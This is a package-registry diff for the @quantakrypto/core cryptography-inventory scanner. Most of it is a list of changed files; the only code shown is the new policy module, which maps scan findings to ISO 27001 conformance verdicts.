@quantakrypto/core 0.4.2 → 0.4.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (223) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +38 -10
  3. package/dist/agent-types.js.map +1 -1
  4. package/dist/baseline.js.map +1 -1
  5. package/dist/cache.js.map +1 -1
  6. package/dist/cbom-merge.d.ts +9 -0
  7. package/dist/cbom-merge.d.ts.map +1 -0
  8. package/dist/cbom-merge.js +99 -0
  9. package/dist/cbom-merge.js.map +1 -0
  10. package/dist/cbom.js.map +1 -1
  11. package/dist/changed.js.map +1 -1
  12. package/dist/codemods/config-toggle.js.map +1 -1
  13. package/dist/codemods/registry.js.map +1 -1
  14. package/dist/comments.d.ts +29 -2
  15. package/dist/comments.d.ts.map +1 -1
  16. package/dist/comments.js +178 -18
  17. package/dist/comments.js.map +1 -1
  18. package/dist/config.js.map +1 -1
  19. package/dist/cwe.js.map +1 -1
  20. package/dist/dependencies.d.ts +3 -2
  21. package/dist/dependencies.d.ts.map +1 -1
  22. package/dist/dependencies.js +138 -2
  23. package/dist/dependencies.js.map +1 -1
  24. package/dist/detect-utils.d.ts +19 -4
  25. package/dist/detect-utils.d.ts.map +1 -1
  26. package/dist/detect-utils.js +43 -6
  27. package/dist/detect-utils.js.map +1 -1
  28. package/dist/detectors/c.d.ts +4 -2
  29. package/dist/detectors/c.d.ts.map +1 -1
  30. package/dist/detectors/c.js +382 -3
  31. package/dist/detectors/c.js.map +1 -1
  32. package/dist/detectors/cicd.d.ts +27 -0
  33. package/dist/detectors/cicd.d.ts.map +1 -0
  34. package/dist/detectors/cicd.js +116 -0
  35. package/dist/detectors/cicd.js.map +1 -0
  36. package/dist/detectors/cloud-kms.d.ts +21 -0
  37. package/dist/detectors/cloud-kms.d.ts.map +1 -0
  38. package/dist/detectors/cloud-kms.js +57 -0
  39. package/dist/detectors/cloud-kms.js.map +1 -0
  40. package/dist/detectors/cloudformation.d.ts +30 -0
  41. package/dist/detectors/cloudformation.d.ts.map +1 -0
  42. package/dist/detectors/cloudformation.js +170 -0
  43. package/dist/detectors/cloudformation.js.map +1 -0
  44. package/dist/detectors/csharp.d.ts.map +1 -1
  45. package/dist/detectors/csharp.js +141 -3
  46. package/dist/detectors/csharp.js.map +1 -1
  47. package/dist/detectors/database.d.ts +17 -0
  48. package/dist/detectors/database.d.ts.map +1 -0
  49. package/dist/detectors/database.js +60 -0
  50. package/dist/detectors/database.js.map +1 -0
  51. package/dist/detectors/dnssec.d.ts +55 -0
  52. package/dist/detectors/dnssec.d.ts.map +1 -0
  53. package/dist/detectors/dnssec.js +107 -0
  54. package/dist/detectors/dnssec.js.map +1 -0
  55. package/dist/detectors/elixir.d.ts +20 -0
  56. package/dist/detectors/elixir.d.ts.map +1 -0
  57. package/dist/detectors/elixir.js +195 -0
  58. package/dist/detectors/elixir.js.map +1 -0
  59. package/dist/detectors/go.d.ts +5 -3
  60. package/dist/detectors/go.d.ts.map +1 -1
  61. package/dist/detectors/go.js +187 -3
  62. package/dist/detectors/go.js.map +1 -1
  63. package/dist/detectors/java.d.ts.map +1 -1
  64. package/dist/detectors/java.js +169 -4
  65. package/dist/detectors/java.js.map +1 -1
  66. package/dist/detectors/jose.d.ts +20 -0
  67. package/dist/detectors/jose.d.ts.map +1 -0
  68. package/dist/detectors/jose.js +62 -0
  69. package/dist/detectors/jose.js.map +1 -0
  70. package/dist/detectors/jwk.d.ts +25 -0
  71. package/dist/detectors/jwk.d.ts.map +1 -0
  72. package/dist/detectors/jwk.js +95 -0
  73. package/dist/detectors/jwk.js.map +1 -0
  74. package/dist/detectors/k8s.d.ts +17 -0
  75. package/dist/detectors/k8s.d.ts.map +1 -0
  76. package/dist/detectors/k8s.js +85 -0
  77. package/dist/detectors/k8s.js.map +1 -0
  78. package/dist/detectors/mesh.d.ts +35 -0
  79. package/dist/detectors/mesh.d.ts.map +1 -0
  80. package/dist/detectors/mesh.js +109 -0
  81. package/dist/detectors/mesh.js.map +1 -0
  82. package/dist/detectors/messaging.d.ts +16 -0
  83. package/dist/detectors/messaging.d.ts.map +1 -0
  84. package/dist/detectors/messaging.js +72 -0
  85. package/dist/detectors/messaging.js.map +1 -0
  86. package/dist/detectors/pem.d.ts.map +1 -1
  87. package/dist/detectors/pem.js +50 -2
  88. package/dist/detectors/pem.js.map +1 -1
  89. package/dist/detectors/php.d.ts +24 -0
  90. package/dist/detectors/php.d.ts.map +1 -0
  91. package/dist/detectors/php.js +167 -0
  92. package/dist/detectors/php.js.map +1 -0
  93. package/dist/detectors/python.d.ts.map +1 -1
  94. package/dist/detectors/python.js +144 -3
  95. package/dist/detectors/python.js.map +1 -1
  96. package/dist/detectors/ruby.d.ts +9 -5
  97. package/dist/detectors/ruby.d.ts.map +1 -1
  98. package/dist/detectors/ruby.js +122 -2
  99. package/dist/detectors/ruby.js.map +1 -1
  100. package/dist/detectors/rust.d.ts +8 -3
  101. package/dist/detectors/rust.d.ts.map +1 -1
  102. package/dist/detectors/rust.js +253 -3
  103. package/dist/detectors/rust.js.map +1 -1
  104. package/dist/detectors/secrets.d.ts +21 -0
  105. package/dist/detectors/secrets.d.ts.map +1 -0
  106. package/dist/detectors/secrets.js +79 -0
  107. package/dist/detectors/secrets.js.map +1 -0
  108. package/dist/detectors/source.d.ts.map +1 -1
  109. package/dist/detectors/source.js +305 -52
  110. package/dist/detectors/source.js.map +1 -1
  111. package/dist/detectors/stateful-hbs.d.ts +22 -0
  112. package/dist/detectors/stateful-hbs.d.ts.map +1 -0
  113. package/dist/detectors/stateful-hbs.js +142 -0
  114. package/dist/detectors/stateful-hbs.js.map +1 -0
  115. package/dist/detectors/terraform.d.ts +21 -0
  116. package/dist/detectors/terraform.d.ts.map +1 -0
  117. package/dist/detectors/terraform.js +123 -0
  118. package/dist/detectors/terraform.js.map +1 -0
  119. package/dist/detectors/vpn.d.ts +22 -0
  120. package/dist/detectors/vpn.d.ts.map +1 -0
  121. package/dist/detectors/vpn.js +99 -0
  122. package/dist/detectors/vpn.js.map +1 -0
  123. package/dist/errors.js.map +1 -1
  124. package/dist/evidence.d.ts +53 -0
  125. package/dist/evidence.d.ts.map +1 -0
  126. package/dist/evidence.js +81 -0
  127. package/dist/evidence.js.map +1 -0
  128. package/dist/index.d.ts +9 -2
  129. package/dist/index.d.ts.map +1 -1
  130. package/dist/index.js +10 -2
  131. package/dist/index.js.map +1 -1
  132. package/dist/inventory.d.ts +2 -0
  133. package/dist/inventory.d.ts.map +1 -1
  134. package/dist/inventory.js +27 -1
  135. package/dist/inventory.js.map +1 -1
  136. package/dist/parallel.js.map +1 -1
  137. package/dist/patch-policy.js.map +1 -1
  138. package/dist/policy.d.ts +67 -0
  139. package/dist/policy.d.ts.map +1 -0
  140. package/dist/policy.js +115 -0
  141. package/dist/policy.js.map +1 -0
  142. package/dist/redact.d.ts.map +1 -1
  143. package/dist/redact.js +39 -0
  144. package/dist/redact.js.map +1 -1
  145. package/dist/registry.d.ts +2 -2
  146. package/dist/registry.d.ts.map +1 -1
  147. package/dist/registry.js +34 -2
  148. package/dist/registry.js.map +1 -1
  149. package/dist/remediate-pipeline.d.ts +3 -0
  150. package/dist/remediate-pipeline.d.ts.map +1 -1
  151. package/dist/remediate-pipeline.js +71 -0
  152. package/dist/remediate-pipeline.js.map +1 -1
  153. package/dist/remediate-request.js.map +1 -1
  154. package/dist/remediation.d.ts +9 -3
  155. package/dist/remediation.d.ts.map +1 -1
  156. package/dist/remediation.js +17 -5
  157. package/dist/remediation.js.map +1 -1
  158. package/dist/report.d.ts +9 -0
  159. package/dist/report.d.ts.map +1 -1
  160. package/dist/report.js +38 -0
  161. package/dist/report.js.map +1 -1
  162. package/dist/scan-worker.js.map +1 -1
  163. package/dist/scan.d.ts.map +1 -1
  164. package/dist/scan.js +8 -1
  165. package/dist/scan.js.map +1 -1
  166. package/dist/severity.js.map +1 -1
  167. package/dist/standards.d.ts +96 -0
  168. package/dist/standards.d.ts.map +1 -0
  169. package/dist/standards.js +107 -0
  170. package/dist/standards.js.map +1 -0
  171. package/dist/triage.js.map +1 -1
  172. package/dist/types.d.ts +2 -2
  173. package/dist/types.d.ts.map +1 -1
  174. package/dist/types.js.map +1 -1
  175. package/dist/verify.js.map +1 -1
  176. package/dist/version.d.ts +1 -1
  177. package/dist/version.js +1 -1
  178. package/dist/version.js.map +1 -1
  179. package/dist/walk.js.map +1 -1
  180. package/dist/worktree.js.map +1 -1
  181. package/package.json +1 -1
  182. package/src/cbom-merge.ts +116 -0
  183. package/src/comments.ts +183 -18
  184. package/src/dependencies.ts +144 -4
  185. package/src/detect-utils.ts +47 -6
  186. package/src/detectors/c.ts +411 -5
  187. package/src/detectors/cicd.ts +158 -0
  188. package/src/detectors/cloud-kms.ts +87 -0
  189. package/src/detectors/cloudformation.ts +215 -0
  190. package/src/detectors/csharp.ts +154 -3
  191. package/src/detectors/database.ts +88 -0
  192. package/src/detectors/dnssec.ts +186 -0
  193. package/src/detectors/elixir.ts +237 -0
  194. package/src/detectors/go.ts +209 -6
  195. package/src/detectors/java.ts +191 -4
  196. package/src/detectors/jose.ts +94 -0
  197. package/src/detectors/jwk.ts +128 -0
  198. package/src/detectors/k8s.ts +112 -0
  199. package/src/detectors/mesh.ts +154 -0
  200. package/src/detectors/messaging.ts +98 -0
  201. package/src/detectors/pem.ts +54 -2
  202. package/src/detectors/php.ts +225 -0
  203. package/src/detectors/python.ts +153 -3
  204. package/src/detectors/ruby.ts +138 -7
  205. package/src/detectors/rust.ts +282 -7
  206. package/src/detectors/secrets.ts +114 -0
  207. package/src/detectors/source.ts +382 -72
  208. package/src/detectors/stateful-hbs.ts +180 -0
  209. package/src/detectors/terraform.ts +154 -0
  210. package/src/detectors/vpn.ts +131 -0
  211. package/src/evidence.ts +135 -0
  212. package/src/index.ts +15 -1
  213. package/src/inventory.ts +31 -1
  214. package/src/policy.ts +180 -0
  215. package/src/redact.ts +41 -0
  216. package/src/registry.ts +34 -2
  217. package/src/remediate-pipeline.ts +78 -0
  218. package/src/remediation.ts +23 -8
  219. package/src/report.ts +48 -2
  220. package/src/scan.ts +13 -1
  221. package/src/standards.ts +186 -0
  222. package/src/types.ts +3 -1
  223. package/src/version.ts +1 -1
@@ -0,0 +1,67 @@
1
+ /**
2
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
3
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
4
+ *
5
+ * An organization supplies a policy listing which classical algorithm families it
6
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
7
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
8
+ * against that policy — turning the neutral inventory into audit-ready evidence
9
+ * that the org *assesses* its cryptography against a defined policy.
10
+ *
11
+ * Honesty boundary: without a policy the report stays neutral inventory and the
12
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
13
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
14
+ * crypto is a policy gap), overridable via `defaultVerdict`.
15
+ */
16
+ import type { AlgorithmFamily, Finding } from "./types.js";
17
+ /** The three verdicts a finding can carry against a policy. */
18
+ export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
19
+ /** An organization-supplied cryptography policy (from a JSON file). */
20
+ export interface CryptoPolicy {
21
+ /** Human name / version of the policy, recorded in the evidence report. */
22
+ name?: string;
23
+ /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
24
+ permitted?: AlgorithmFamily[];
25
+ /** Families the org prohibits outright → violation. */
26
+ prohibited?: AlgorithmFamily[];
27
+ /** Families being actively migrated, allowed within the window → transition-pending. */
28
+ inTransition?: AlgorithmFamily[];
29
+ /** Optional migration deadline (ISO date / year), recorded for context. */
30
+ transitionDeadline?: string;
31
+ /** Verdict for a family named in none of the lists. Default: `"violation"`. */
32
+ defaultVerdict?: PolicyVerdict;
33
+ }
34
+ /** One finding's verdict against the policy. */
35
+ export interface PolicyFindingVerdict {
36
+ ruleId: string;
37
+ algorithm: AlgorithmFamily | "unknown";
38
+ file: string;
39
+ line: number;
40
+ verdict: PolicyVerdict;
41
+ reason: string;
42
+ }
43
+ /** The `policyMapping` block added to the evidence report. */
44
+ export interface PolicyMapping {
45
+ policyName: string | null;
46
+ transitionDeadline: string | null;
47
+ summary: Record<PolicyVerdict, number>;
48
+ findings: PolicyFindingVerdict[];
49
+ }
50
+ /** Resolve one algorithm family's verdict + a human reason against a policy. */
51
+ export declare function verdictForAlgorithm(algorithm: AlgorithmFamily | undefined, policy: CryptoPolicy): {
52
+ verdict: PolicyVerdict;
53
+ reason: string;
54
+ };
55
+ /**
56
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
57
+ * the same findings + policy always yield the same mapping (safe to hash in the
58
+ * A.8.24 evidence attestation).
59
+ */
60
+ export declare function buildPolicyMapping(findings: readonly Finding[], policy: CryptoPolicy): PolicyMapping;
61
+ /**
62
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
63
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
64
+ * file must fail loudly, never silently degrade the evidence verdict.
65
+ */
66
+ export declare function parseCryptoPolicy(raw: unknown): CryptoPolicy;
67
+ //# sourceMappingURL=policy.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"policy.d.ts","sourceRoot":"","sources":["../src/policy.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;GAcG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAE3D,+DAA+D;AAC/D,MAAM,MAAM,aAAa,GAAG,YAAY,GAAG,WAAW,GAAG,oBAAoB,CAAC;AAgB9E,uEAAuE;AACvE,MAAM,WAAW,YAAY;IAC3B,2EAA2E;IAC3E,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,sFAAsF;IACtF,SAAS,CAAC,EAAE,eAAe,EAAE,CAAC;IAC9B,uDAAuD;IACvD,UAAU,CAAC,EAAE,eAAe,EAAE,CAAC;IAC/B,wFAAwF;IACxF,YAAY,CAAC,EAAE,eAAe,EAAE,CAAC;IACjC,2EAA2E;IAC3E,kBAAkB,CAAC,EAAE,MAAM,CAAC;IAC5B,+EAA+E;IAC/E,cAAc,CAAC,EAAE,aAAa,CAAC;CAChC;AAED,gDAAgD;AAChD,MAAM,WAAW,oBAAoB;IACnC,MAAM,EAAE,MAAM,CAAC;IACf,SAAS,EAAE,eAAe,GAAG,SAAS,CAAC;IACvC,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,aAAa,CAAC;IACvB,MAAM,EAAE,MAAM,CAAC;CAChB;AAED,8DAA8D;AAC9D,MAAM,WAAW,aAAa;IAC5B,UAAU,EAAE,MAAM,GAAG,IAAI,CAAC;IAC1B,kBAAkB,EAAE,MAAM,GAAG,IAAI,CAAC;IAClC,OAAO,EAAE,MAAM,CAAC,aAAa,EAAE,MAAM,CAAC,CAAC;IACvC,QAAQ,EAAE,oBAAoB,EAAE,CAAC;CAClC;AAED,gFAAgF;AAChF,wBAAgB,mBAAmB,CACjC,SAAS,EAAE,eAAe,GAAG,SAAS,EACtC,MAAM,EAAE,YAAY,GACnB;IAAE,OAAO,EAAE,aAAa,CAAC;IAAC,MAAM,EAAE,MAAM,CAAA;CAAE,CAmB5C;AAED;;;;GAIG;AACH,wBAAgB,kBAAkB,CAChC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,MAAM,EAAE,YAAY,GACnB,aAAa,CAwBf;AAED;;;;GAIG;AACH,wBAAgB,iBAAiB,CAAC,GAAG,EAAE,OAAO,GAAG,YAAY,CA+C5D"}
package/dist/policy.js ADDED
@@ -0,0 +1,115 @@
1
+ /** The complete set of algorithm families a policy may reference. */
2
+ const ALGORITHM_FAMILIES = [
3
+ "RSA",
4
+ "ECDH",
5
+ "ECDSA",
6
+ "EdDSA",
7
+ "DH",
8
+ "DSA",
9
+ "X25519",
10
+ "X448",
11
+ "ECIES",
12
+ "unknown",
13
+ ];
14
+ /** Resolve one algorithm family's verdict + a human reason against a policy. */
15
+ export function verdictForAlgorithm(algorithm, policy) {
16
+ const algo = algorithm ?? "unknown";
17
+ if (policy.prohibited?.includes(algo)) {
18
+ return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
19
+ }
20
+ if (policy.inTransition?.includes(algo)) {
21
+ return {
22
+ verdict: "transition-pending",
23
+ reason: `${algo} is being migrated (in the policy's transition set).`,
24
+ };
25
+ }
26
+ if (policy.permitted?.includes(algo)) {
27
+ return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
28
+ }
29
+ const fallback = policy.defaultVerdict ?? "violation";
30
+ return {
31
+ verdict: fallback,
32
+ reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
33
+ };
34
+ }
35
+ /**
36
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
37
+ * the same findings + policy always yield the same mapping (safe to hash in the
38
+ * A.8.24 evidence attestation).
39
+ */
40
+ export function buildPolicyMapping(findings, policy) {
41
+ const summary = {
42
+ conformant: 0,
43
+ violation: 0,
44
+ "transition-pending": 0,
45
+ };
46
+ const mapped = findings.map((f) => {
47
+ const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
48
+ summary[verdict]++;
49
+ return {
50
+ ruleId: f.ruleId,
51
+ algorithm: f.algorithm ?? "unknown",
52
+ file: f.location.file,
53
+ line: f.location.line,
54
+ verdict,
55
+ reason,
56
+ };
57
+ });
58
+ return {
59
+ policyName: policy.name ?? null,
60
+ transitionDeadline: policy.transitionDeadline ?? null,
61
+ summary,
62
+ findings: mapped,
63
+ };
64
+ }
65
+ /**
66
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
67
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
68
+ * file must fail loudly, never silently degrade the evidence verdict.
69
+ */
70
+ export function parseCryptoPolicy(raw) {
71
+ if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
72
+ throw new TypeError("crypto policy must be a JSON object");
73
+ }
74
+ const obj = raw;
75
+ const validFamilies = new Set(ALGORITHM_FAMILIES);
76
+ const list = (key) => {
77
+ const v = obj[key];
78
+ if (v === undefined)
79
+ return undefined;
80
+ if (!Array.isArray(v))
81
+ throw new TypeError(`policy "${key}" must be an array of algorithm families`);
82
+ for (const item of v) {
83
+ if (typeof item !== "string" || !validFamilies.has(item)) {
84
+ throw new TypeError(`policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`);
85
+ }
86
+ }
87
+ return v;
88
+ };
89
+ const verdicts = new Set(["conformant", "violation", "transition-pending"]);
90
+ let defaultVerdict;
91
+ if (obj.defaultVerdict !== undefined) {
92
+ if (typeof obj.defaultVerdict !== "string" ||
93
+ !verdicts.has(obj.defaultVerdict)) {
94
+ throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
95
+ }
96
+ defaultVerdict = obj.defaultVerdict;
97
+ }
98
+ if (obj.name !== undefined && typeof obj.name !== "string") {
99
+ throw new TypeError('policy "name" must be a string');
100
+ }
101
+ if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
102
+ throw new TypeError('policy "transitionDeadline" must be a string');
103
+ }
104
+ return {
105
+ ...(obj.name !== undefined ? { name: obj.name } : {}),
106
+ ...(list("permitted") ? { permitted: list("permitted") } : {}),
107
+ ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
108
+ ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
109
+ ...(obj.transitionDeadline !== undefined
110
+ ? { transitionDeadline: obj.transitionDeadline }
111
+ : {}),
112
+ ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
113
+ };
114
+ }
115
+ //# sourceMappingURL=policy.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"policy.js","sourceRoot":"","sources":["../src/policy.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC\n * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).\n *\n * An organization supplies a policy listing which classical algorithm families it\n * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then\n * flags each qScan finding as `conformant` / `violation` / `transition-pending`\n * against that policy — turning the neutral inventory into audit-ready evidence\n * that the org *assesses* its cryptography against a defined policy.\n *\n * Honesty boundary: without a policy the report stays neutral inventory and the\n * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-\n * list: a classical family not named anywhere defaults to a violation (unmanaged\n * crypto is a policy gap), overridable via `defaultVerdict`.\n */\nimport type { AlgorithmFamily, Finding } from \"./types.js\";\n\n/** The three verdicts a finding can carry against a policy. */\nexport type PolicyVerdict = \"conformant\" | \"violation\" | \"transition-pending\";\n\n/** The complete set of algorithm families a policy may reference. */\nconst ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [\n \"RSA\",\n \"ECDH\",\n \"ECDSA\",\n \"EdDSA\",\n \"DH\",\n \"DSA\",\n \"X25519\",\n \"X448\",\n \"ECIES\",\n \"unknown\",\n];\n\n/** An organization-supplied cryptography policy (from a JSON file). */\nexport interface CryptoPolicy {\n /** Human name / version of the policy, recorded in the evidence report. */\n name?: string;\n /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */\n permitted?: AlgorithmFamily[];\n /** Families the org prohibits outright → violation. */\n prohibited?: AlgorithmFamily[];\n /** Families being actively migrated, allowed within the window → transition-pending. */\n inTransition?: AlgorithmFamily[];\n /** Optional migration deadline (ISO date / year), recorded for context. */\n transitionDeadline?: string;\n /** Verdict for a family named in none of the lists. Default: `\"violation\"`. */\n defaultVerdict?: PolicyVerdict;\n}\n\n/** One finding's verdict against the policy. */\nexport interface PolicyFindingVerdict {\n ruleId: string;\n algorithm: AlgorithmFamily | \"unknown\";\n file: string;\n line: number;\n verdict: PolicyVerdict;\n reason: string;\n}\n\n/** The `policyMapping` block added to the evidence report. */\nexport interface PolicyMapping {\n policyName: string | null;\n transitionDeadline: string | null;\n summary: Record<PolicyVerdict, number>;\n findings: PolicyFindingVerdict[];\n}\n\n/** Resolve one algorithm family's verdict + a human reason against a policy. */\nexport function verdictForAlgorithm(\n algorithm: AlgorithmFamily | undefined,\n policy: CryptoPolicy,\n): { verdict: 